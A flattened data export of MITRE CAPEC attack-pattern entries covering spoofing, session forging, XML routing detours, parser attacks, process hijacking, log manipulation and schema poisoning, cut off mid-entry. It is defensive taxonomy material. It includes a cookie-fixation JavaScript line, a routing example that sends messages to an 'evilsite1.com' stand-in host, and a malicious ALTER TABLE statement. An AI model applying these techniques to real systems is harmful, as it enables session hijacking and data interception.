Fake the Source of Data Standard An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation. 2014-06-23 02:00:00 Capec: CAPEC-194
Cwe: CWE-287
Wasc: 38
2021-06-24 02:00:00 2.1 Integrity:
  • Alter Execution Logic (By faking the source of data or services, an adversary can cause a target to make incorrect decisions about how to proceed.)
  • Gain Privileges (By impersonating identities that have an increased level of access, an adversary gain privilege that they many not have otherwise had.)
  • Hide Activities (Faking the source of data or services can be used to create a false trail in logs as the target will associate any actions with the impersonated identity instead of the adversary.)
Social Engineering
Software
Hardware
None None
  • This attack is only applicable when a vulnerable entity associates data or services with an identity. Without such an association, there would be no reason to fake the source.
  • Resources required vary depending on the nature of the attack. Possible tools needed by an attacker could include tools to create custom network packets, specific client software, and tools to capture network traffic. Many variants of this attack require no attacker resources, however.
Stable Medium 3.9
151
Principal Spoof Standard A Principal Spoof is a form of Identity Spoofing where an adversary pretends to be some other person in an interaction. This is often accomplished by crafting a message (either written, verbal, or visual) that appears to come from a person other than the adversary. Phishing and Pharming attacks often attempt to do this so that their attempts to gather sensitive information appear to come from a legitimate source. A Principal Spoof does not use stolen or spoofed authentication credentials, instead relying on the appearance and content of the message to reflect identity. The possible outcomes of a Principal Spoof mirror those of Identity Spoofing. (e.g., escalation of privilege and false attribution of data or activities) Likewise, most techniques for Identity Spoofing (crafting messages or intercepting and replaying or modifying messages) can be used for a Principal Spoof attack. However, because a Principal Spoof is used to impersonate a person, social engineering can be both an attack technique (using social techniques to generate evidence in support of a false identity) as well as a possible outcome (manipulating people's perceptions by making statements or performing actions under a target's name). 2014-06-23 02:00:00 Capec: CAPEC-195
2023-01-24 01:00:00 2.1 Social Engineering
Communications
None None
  • The target must associate data or activities with a person's identity and the adversary must be able to modify this identity without detection.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
599
151
Session Credential Falsification through Forging Standard An attacker creates a false but functional session credential in order to gain or usurp access to a service. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. If an attacker is able to forge valid session credentials they may be able to bypass authentication or piggy-back off some other authenticated user's session. This attack differs from Reuse of Session IDs and Session Sidejacking attacks in that in the latter attacks an attacker uses a previous or existing credential without modification while, in a forging attack, the attacker must create their own credential, although it may be based on previously observed credentials. 2014-06-23 02:00:00 Capec: CAPEC-196
Cwe: CWE-384
Cwe: CWE-664
Attack: T1134.002
Attack: T1134.003
Attack: T1606
Reference_from_capec: REF-62
Reference_from_capec: REF-63
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. This example uses client side scripting to set session ID in the victim's browser. The JavaScript code document.cookie="sessionid=0123456789" fixates a falsified session credential into victim's browser, with the help of crafted a URL link. http://www.example.com/ A similar example uses session ID as an argument of the URL. http://www.example.com/index.php/sessionid=0123456789 Once the victim clicks the links, the attacker may be able to bypass authentication or piggy-back off some other authenticated victim's session.

Explore

  1. Analyze and Understand Session IDs: The attacker finds that the targeted application use session credentials to identify legitimate users.
  2. Techniques
    An attacker makes many anonymous connections and records the session IDs.
    An attacker makes authorized connections and records the session tokens or credentials.

Experiment

  1. Create Session IDs.: Attackers craft messages containing their forged credentials in GET, POST request, HTTP headers or cookies.
  2. Techniques
    The attacker manipulates the HTTP request message and adds their forged session IDs in to the requests or cookies.

Exploit

  1. Abuse the Victim's Session Credentials: The attacker fixates falsified session ID to the victim when victim access the system. Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the forged session identifier.
  2. Techniques
    The attacker loads the predefined or predicted session ID into their browser and browses to protected data or functionality.
    The attacker loads the predefined or predicted session ID into their software and utilizes functionality with the rights of the victim.
Medium
  • The targeted application must use session credentials to identify legitimate users. Session identifiers that remains unchanged when the privilege levels change. Predictable session identifiers.
  • Attackers may require tools to craft messages containing their forged credentials, and ability to send HTTP request to a web application.
Medium: Forge the session credential and reply the request. Draft Medium 3.9
21
Create Malicious Client Standard An adversary creates a client application to interface with a target service where the client violates assumptions the service makes about clients. Services that have designated client applications (as opposed to services that use general client applications, such as IMAP or POP mail servers which can interact with any IMAP or POP client) may assume that the client will follow specific procedures. For example, servers may assume that clients will accurately compute values (such as prices), will send correctly structured messages, and will attempt to ensure efficient interactions with the server. By reverse-engineering a client and creating their own version, an adversary can take advantage of these assumptions to abuse service functionality. For example, a purchasing service might send a unit price to its client and expect the client to correctly compute the total cost of a purchase. If the adversary uses a malicious client, however, the adversary could ignore the server input and declare any total price. Likewise, an adversary could configure the client to retain network or other server resources for longer than legitimately necessary in order to degrade server performance. Even services with general clients can be susceptible to this attack if they assume certain client behaviors. However, such services generally can make fewer assumptions about the behavior of their clients in the first place and, as such, are less likely to make assumptions that an adversary can exploit. 2014-06-23 02:00:00 Capec: CAPEC-202
Cwe: CWE-602
2022-02-22 01:00:00 2.1 Software
None None
  • The targeted service must make assumptions about the behavior of the client application that interacts with it, which can be abused by an adversary.
  • The adversary must be able to reverse engineer a client of the targeted service. However, the adversary does not need to reverse engineer all client functionality - they only need to recreate enough of the functionality to access the desired server functionality.
Draft Medium 3.9
22
Manipulate Registry Information Standard An adversary exploits a weakness in authorization in order to modify content within a registry (e.g., Windows Registry, Mac plist, application registry). Editing registry information can permit the adversary to hide configuration information or remove indicators of compromise to cover up activity. Many applications utilize registries to store configuration and service information. As such, modification of registry information can affect individual services (affecting billing, authorization, or even allowing for identity spoofing) or the overall configuration of a targeted application. For example, both Java RMI and SOAP use registries to track available services. Changing registry values is sometimes a preliminary step towards completing another attack pattern, but given the long term usage of many registry values, manipulation of registry information could be its own end. 2014-06-23 02:00:00 Capec: CAPEC-203
Cwe: CWE-15
Attack: T1112
Attack: T1647
2022-09-29 02:00:00 2.1 Software
  1. Manipulating registration information can be undertaken in advance of a path traversal attack (inserting relative path modifiers) or buffer overflow attack (enlarging a registry value beyond an application's ability to store it).
None None
  • The targeted application must rely on values stored in a registry.
  • The adversary must have a means of elevating permissions in order to access and modify registry content through either administrator privileges (e.g., credentialed access), or a remote access tool capable of editing a registry through an API.
  • None: No specialized resources are required to execute this type of attack.
High: The adversary requires privileged credentials or the development/acquiring of a tailored remote access tool. Stable Medium 3.9
176
Removing Important Client Functionality Standard An adversary removes or disables functionality on the client that the server assumes to be present and trustworthy. Adversaries can, in some cases, get around logic put in place to 'guard' sensitive functionality or data. Client applications may include functionality that a server relies on for correct and secure operation. This functionality can include, but is not limited to, filters to prevent the sending of dangerous content to the server, logical functionality such as price calculations, and authentication logic to ensure that only authorized users are utilizing the client. If an adversary can disable this functionality on the client, they can perform actions that the server believes are prohibited. This can result in client behavior that violates assumptions by the server leading to a variety of possible attacks. In the above examples, this could include the sending of dangerous content (such as scripts) to the server, incorrect price calculations, or unauthorized access to server resources. 2014-06-23 02:00:00 Capec: CAPEC-207
Cwe: CWE-602
Reference_from_capec: REF-75
Reference_from_capec: REF-76
Reference_from_capec: REF-77
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Other (Information Leakage)
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. The adversary reverse engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the adversary simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary.
  2. The adversary uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the adversary directly navigates to the privileged functionality around the authorizing single-front controller (implementing programmatic authorization checks).

Explore

  1. Probing: The adversary probes, through brute-forcing, reverse-engineering or other similar means, the functionality on the client that server assumes to be present and trustworthy.
  2. Techniques
    The adversary probes by exploring an application's functionality and its underlying mapping to server-side components.
    The adversary reverse engineers client-side code to identify the functionality that the server relies on for the proper or secure operation.

Experiment

  1. Determine which functionality to disable or remove: The adversary tries to determine which functionality to disable or remove through reverse-engineering from the list of functionality identified in the Explore phase.
  2. Techniques
    The adversary reverse engineers the client-side code to determine which functionality to disable or remove.

Exploit

  1. Disable or remove the critical functionality from the client code: Once the functionality has been determined, the adversary disables or removes the critical functionality from the client code to perform malicious actions that the server believes are prohibited.
  2. Techniques
    The adversary disables or removes the functionality from the client-side code to perform malicious actions, such as sending of dangerous content (such as scripts) to the server.
Medium
  • The targeted server must assume the client performs important actions to protect the server or the server functionality. For example, the server may assume the client filters outbound traffic or that the client performs all price calculations correctly. Moreover, the server must fail to detect when these assumptions are violated by a client.
  • The adversary must have access to a client and be able to modify the client behavior, often through reverse engineering. If the server is assuming specific client functionality, this usually means the server only recognizes a specific client application, rather than a broad class of client applications. Reverse engineering tools would likely be necessary.
Low: The adversary installs a web tool that allows scripts or the DOM model of web-based applications to be modified before they are executed in a browser. GreaseMonkey and Firebug are two examples of such tools. High: To reverse engineer the client-side code to disable/remove the functionality on the client that the server relies on. Draft High 3.9
22
DEPRECATED: Directory Traversal Standard This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-126 : Path Traversal". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-213
2017-08-04 02:00:00 2.1 None None Deprecated None 3.9
Exploiting Incorrectly Configured SSL/TLS Standard An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server. SSL/TLS communications become vulnerable to this attack when they use outdated versions and insecure ciphers. Currently, all SSL versions are deprecated and TLS versions 1.0 and 1.1 are also deprecated due to being insecure. It is still possible for later versions of TLS to be insecure if they are configured with insecure ciphers such as 3DES or RC4. 2014-06-23 02:00:00 Capec: CAPEC-217
Cwe: CWE-201
2022-02-22 01:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Communications
  1. Using MITM techniques, an adversary launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the adversary to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur.

Explore

  1. Determine SSL/TLS Configuration: Determine the SSL/TLS configuration of either the server or client being targeted, preferably both. This is not a hard requirement, as the adversary can simply assume commonly exploitable configuration settings and indiscriminately attempt them.
  2. Techniques
    If the target is a webpage, some of the SSL/TLS configuration can be viewed through the browser's security information, such as the key sizes and cipher being used.

Experiment

  1. Intercept Communication: Provide controlled access to the server by the client, by either providing a link for the client to click on, or by positioning one's self at a place on the network to intercept and control the flow of data between client and server, e.g. AiTM (adversary in the middle - CAPEC-94).
  2. Techniques
    Create a malicious webpage that looks identical to the target webpage, but routes client traffic to the server such that the adversary can observe the traffic and perform an adverary in the middle attack.
    If the adversary has access to the network that either the client or server is on, the can attempt to use a packet sniffer to perform an adversary in the middle attack.
    Install a packet sniffer through malware directly to a client device that can intercept SSL/TLS traffic and perform an adversary in the middle attack.

Exploit

  1. Capture or Manipulate Sensitive Data: Once the adversary has the ability to intercept the secure communication, they exploit the incorrectly configured SSL to view the encrypted communication. The adversary can choose to just record the secure communication or manipulate the data to achieve a desired effect.
  2. Techniques
    Use known exploits for old SSL and TLS versions.
    Use known exploits for weak ciphers such as DES and RC4.
Low
  • Access to the client/server stream.
  • The adversary needs the ability to sniff traffic, and optionally be able to route said traffic to a system where the sniffing of traffic can take place, and act upon the recovered traffic in real time.
High: The adversary needs real-time access to network traffic in such a manner that the adversary can grab needed information from the SSL stream, possibly influence the decided-upon encryption method and options, and perform automated analysis to decipher encrypted material recovered. Tools exist to automate part of the tasks, but to successfully use these tools in an attack scenario requires detailed understanding of the underlying principles. Draft None 3.9
216
XML Routing Detour Attacks Standard An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information. 2014-06-23 02:00:00 Capec: CAPEC-219
Cwe: CWE-441
Cwe: CWE-610
Wasc: 32
Wasc: 44
Reference_from_capec: REF-80
Reference_from_capec: REF-81
Reference_from_capec: REF-65
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Communications
Software
  1. Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction). Example SOAP message with routing information in header: http://example1.com/ http://example4.com/router uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f http://example2.com/router ... Add an additional node (example3.com/router) to the XML path in a WS-Referral message http://example2.com/router http://example3.com/router Resulting in the following SOAP Header: http://example1.com/ http://example4.com/router uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f http://example2.com/router http://example3.com/router ... Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted. Example of WS-Referral based WS-Routing injection of the bogus node route: http://example2.com/router http://evilsite1.com/router Resulting XML Routing Detour attack: http://example_0.com/ http://example_4.com/router uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f http://example2.com/router http://evilesite1.com/router http://example3.com/router ... Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

Explore

  1. Survey the target: Using command line or an automated tool, an attacker records all instances of web services to process XML requests.
  2. Techniques
    Use automated tool to record all instances to process XML requests or find exposed WSDL.
    Use tools to crawl WSDL

Experiment

  1. Identify SOAP messages that have multiple state processing.: Inspect instance to see whether the XML processing has multiple stages or not.
  2. Techniques
    Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.

Exploit

  1. Launch an XML routing detour attack: The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).
  2. Techniques
    The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message
High
  • The targeted system must have multiple stages processing of XML content.
  • The attacker must be able to insert or compromise a system into the processing path for the transaction.
Low: To inject a bogus node in the XML routing table Draft Medium 3.9
94
Client-Server Protocol Manipulation Standard An adversary takes advantage of weaknesses in the protocol by which a client and server are communicating to perform unexpected actions. Communication protocols are necessary to transfer messages between client and server applications. Moreover, different protocols may be used for different types of interactions. For example, an authentication protocol might be used to establish the identities of the server and client while a separate messaging protocol might be used to exchange data. If there is a weakness in a protocol used by the client and server, an attacker might take advantage of this to perform various types of attacks. For example, if the attacker is able to manipulate an authentication protocol, the attacker may be able spoof other clients or servers. If the attacker is able to manipulate a messaging protocol, the may be able to read sensitive information or modify message contents. This attack is often made easier by the fact that many clients and servers support multiple protocols to perform similar roles. For example, a server might support several different authentication protocols in order to support a wide range of clients, including legacy clients. Some of the older protocols may have vulnerabilities that allow an attacker to manipulate client-server interactions. 2014-06-23 02:00:00 Capec: CAPEC-220
Cwe: CWE-757
2022-02-22 01:00:00 2.1 Communications
Software
None None
  • The client and/or server must utilize a protocol that has a weakness allowing manipulation of the interaction.
  • The adversary must be able to identify the weakness in the utilized protocol and exploit it. This may require a sniffing tool as well as packet creation abilities. The adversary will be aided if they can force the client and/or server to utilize a specific protocol known to contain exploitable weaknesses.
Draft Medium 3.9
272
Serialized Data with Nested Payloads Standard Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An adversary's goal is to leverage parser failure to their advantage. In most cases this type of an attack will result in a Denial of Service due to an application becoming unstable, freezing, or crashing. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89]. This attack is most closely associated with web services using SOAP or a Rest API, because remote service requesters can post malicious payloads to the service provider. The main weakness is that the service provider generally must inspect, parse, and validate the messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that this attack targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends. 2014-06-23 02:00:00 Capec: CAPEC-230
Cwe: CWE-112
Cwe: CWE-20
Cwe: CWE-674
Cwe: CWE-770
Reference_from_capec: REF-89
2021-10-21 02:00:00 2.1
  • XML Denial of Service (XML DoS)
Integrity:
  • Execute Unauthorized Commands
Availability:
  • Resource Consumption
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands
  • Gain Privileges
Software

Explore

  1. An adversary determines the input data stream that is being processed by a data parser that supports using substitution on the victim's side.

Exploit

  1. An adversary crafts input data that may have an adverse effect on the operation of the parser when the data is parsed on the victim's system.
Medium
  • An application's user-controllable data is expressed in a language that supports subsitution.
  • An application does not perform sufficient validation to ensure that user-controllable data is not malicious.
Draft High 3.9
130
Oversized Serialized Data Payloads Standard An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution. Applications often need to transform data in and out of serialized data formats, such as XML and YAML, by using a data parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the parser, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An adversary's goal is to leverage parser failure to their advantage. DoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious data payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends. 2014-06-23 02:00:00 Capec: CAPEC-231
Cwe: CWE-112
Cwe: CWE-20
Cwe: CWE-674
Cwe: CWE-770
Reference_from_capec: REF-89
2022-09-29 02:00:00 2.1
  • XML Denial of Service (XML DoS)
Integrity:
  • Execute Unauthorized Commands
Availability:
  • Resource Consumption
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands
  • Gain Privileges
Software

Explore

  1. An adversary determines the input data stream that is being processed by an serialized data parser on the victim's side.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the data parser when the data is parsed on the victim's system.
Medium
  • An application uses an parser for serialized data to perform transformation on user-controllable data.
  • An application does not perform sufficient validation to ensure that user-controllable data is safe for a data parser.
Low: Denial of service High: Arbitrary code execution Draft High 3.9
130
Hijacking a privileged process Standard An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code. 2014-06-23 02:00:00 Capec: CAPEC-234
Cwe: CWE-732
Cwe: CWE-648
2021-10-21 02:00:00 2.1 Software

Explore

  1. Find process with elevated priveleges: The adversary probes for processes running with elevated privileges.
  2. Techniques
    On Windows, use the process explorer's security tab to see if a process is running with administror privileges.
    On Linux, use the ps command to view running processes and pipe the output to a search for a particular user, or the root user.

Experiment

  1. Find vulnerability in running process: The adversary looks for a vulnerability in the running process that would allow for arbitrary code execution with the privilege of the running process.
  2. Techniques
    Look for improper input validation
    Look for a buffer overflow which may be exploited if an adversary can inject unvalidated data.
    Utilize system utilities that support process control that have been inadequately secured

Exploit

  1. Execute arbitrary code: The adversary exploits the vulnerability that they have found and hijacks the running process.
None
  • The targeted process or operating system must contain a bug that allows attackers to hijack the targeted process.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
233
DEPRECATED: Linux Terminal Injection Standard This attack pattern has been deprecated as it is covered by "CAPEC-40 : Manipulating Writeable Terminal Devices". Please refer to this CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-249
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
XML Injection Standard An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information. 2014-06-23 02:00:00 Capec: CAPEC-250
Cwe: CWE-91
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-707
Wasc: 23
2022-02-22 01:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass.

Explore

  1. Survey the Target: Using a browser or an automated tool, an adversary records all instances of user-controllable input used to contruct XML queries
  2. Techniques
    Use an automated tool to record all instances of user-controllable input used to contruct XML queries.
    Use a browser to manually explore the website and analyze how the application processes inputs.

Experiment

  1. Determine the Structure of Queries: Using manual or automated means, test inputs found for XML weaknesses.
  2. Techniques
    Use XML reserved characters or words, possibly with other input data to attempt to cause unexpected results and identify improper input validation.

Exploit

  1. Inject Content into XML Queries: Craft malicious content containing XML expressions that is not validated by the application and is executed as part of the XML queries.
  2. Techniques
    Use the crafted input to execute unexpected queries that can disclose sensitive database information to the attacker.
High
  • XML queries used to process user input and retrieve information stored in XML documents
  • User-controllable input not properly sanitized
  • None: No specialized resources are required to execute this type of attack.
Low: An attacker must have knowledge of XML syntax and constructs in order to successfully leverage XML Injection Draft None 3.9
248
Local Code Inclusion Standard The attacker forces an application to load arbitrary code files from the local machine. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways. 2014-06-23 02:00:00 Capec: CAPEC-251
Cwe: CWE-829
Attack: T1055
Reference_from_capec: REF-613
2020-12-17 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Through local code inclusion, the adversary compromises the integrity of the application.)
Confidentiality:
  • Read Data (An attacker may leverage local code inclusion in order to print sensitive data to a page, such as hidden configuration files or or password hashes.)
Software
None None
  • The targeted application must have a bug that allows an adversary to control which code file is loaded at some juncture.
  • Some variants of this attack may require that old versions of some code files be present and in predictable locations.
  • The adversary needs to have enough access to the target application to control the identity of a locally included file. The attacker may also need to be able to upload arbitrary code files to the target machine, although any location for these files may be acceptable.
Stable Medium 3.9
175
Remote Code Inclusion Standard The attacker forces an application to load arbitrary code files from a remote location. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load malicious files that the attacker placed on the remote machine, or to otherwise change the functionality of the targeted application in unexpected ways. 2014-06-23 02:00:00 Capec: CAPEC-253
Cwe: CWE-829
Wasc: 05
Reference_from_capec: REF-614
2021-06-24 02:00:00 2.1 Software
None None
  • Target application server must allow remote files to be included.The malicious file must be placed on the remote machine previously.
Draft None 3.9
175
DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching Standard This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-65 : Sniff Application Code". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-259
2017-08-04 02:00:00 2.1 None None Deprecated None 3.9
Leverage Alternate Encoding Standard An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard. 2014-06-23 02:00:00 Capec: CAPEC-267
Cwe: CWE-173
Cwe: CWE-172
Cwe: CWE-180
Cwe: CWE-181
Cwe: CWE-73
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-692
Attack: T1027
Reference_from_capec: REF-108
Reference_from_capec: REF-109
Reference_from_capec: REF-110
Reference_from_capec: REF-69
Reference_from_capec: REF-112
Reference_from_capec: REF-113
Reference_from_capec: REF-114
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution (Denial of Service)
  • Resource Consumption (Denial of Service)
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. Microsoft Internet Explorer 5.01 SP4, 6, 6 SP1, and 7 does not properly handle unspecified "encoding strings," which allows remote adversaries to bypass the Same Origin Policy and obtain sensitive information via a crafted web site, aka "Post Encoding Information Disclosure Vulnerability." Related Vulnerabilities CVE-2010-0488
  2. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads using a variety of different types of encodings to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Try to use different encodings of content in order to bypass validation routines.
High
  • The application's decoder accepts and interprets encoded characters. Data canonicalization, input filtering and validating is not done properly leaving the door open to harmful characters for the target host.
Low: An adversary can inject different representation of a filtered character in a different encoding. Medium: An adversary may craft subtle encoding of input data by using the knowledge that they have gathered about the target host. Draft High 3.9
153
Audit Log Manipulation Standard The attacker injects, manipulates, deletes, or forges malicious log entries into the log file, in an attempt to mislead an audit of the log file or cover tracks of an attack. Due to either insufficient access controls of the log files or the logging mechanism, the attacker is able to perform such actions. 2014-06-23 02:00:00 Capec: CAPEC-268
Cwe: CWE-117
Attack: T1070
Attack: T1562.002
Attack: T1562.003
Attack: T1562.008
Owasp Attacks: Log Injection
2022-09-29 02:00:00 2.1 Software
None None
  • The target host is logging the action and data of the user.
  • The target host insufficiently protects access to the logs or logging mechanisms.
  • The attacker must understand how the logging mechanism works. Optionally, the attacker must know the location and the format of individual entries of the log files.
Draft None 3.9
81 93
161
Schema Poisoning Standard An adversary corrupts or modifies the content of a schema for the purpose of undermining the security of the target. Schemas provide the structure and content definitions for resources used by an application. By replacing or modifying a schema, the adversary can affect how the application handles or interprets a resource, often leading to possible denial of service, entering into an unexpected state, or recording incomplete data. 2014-06-23 02:00:00 Capec: CAPEC-271
Cwe: CWE-15
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution (A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.)
  • Resource Consumption (A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.)
Confidentiality:
  • Read Data
Software
  1. In a JSON Schema Poisoning Attack, an adervary modifies the JSON schema to cause a Denial of Service (DOS) or to submit malicious input: { "title": "Contact", "type": "object", "properties": { "Name": { "type": "string" }, "Phone": { "type": "string" }, "Email": { "type": "string" }, "Address": { "type": "string" } }, "required": ["Name", "Phone", "Email", "Address"] } If the 'name' attribute is required in all submitted documents and this field is removed by the adversary, the application may enter an unexpected state or record incomplete data. Additionally, if this data is needed to perform additional functions, a Denial of Service (DOS) may occur.
  2. In a Database Schema Poisoning Attack, an adversary alters the database schema being used to modify the database in some way. This can result in loss of data, DOS, or malicious input being submitted. Assuming there is a column named "name", an adversary could make the following schema change: ALTER TABLE Contacts MODIFY Name VARCHAR(65353); The "Name" field of the "Conteacts" table now allows the storing of names up to 65353 characters in length. This could allow the adversary to store excess data within the database to consume system resource or to execute a DOS.

Explore

  1. Find target application and schema: The adversary first finds the application that they want to target. This application must use schemas in some way, so the adversary also needs to confirm that schemas are being used.
  2. Techniques
    Gain access to the system that the application is on and look for a schema.
    Observe HTTP traffic to the application and look for a schema being transmitted.

Experiment

  1. Gain access to schema: The adversary gains access to the schema so that they can modify the contents.
  2. Techniques
    For a local scenario, the adversary needs access to the machine that the schema is located on and gain permissions to alter the contents of the schema file.
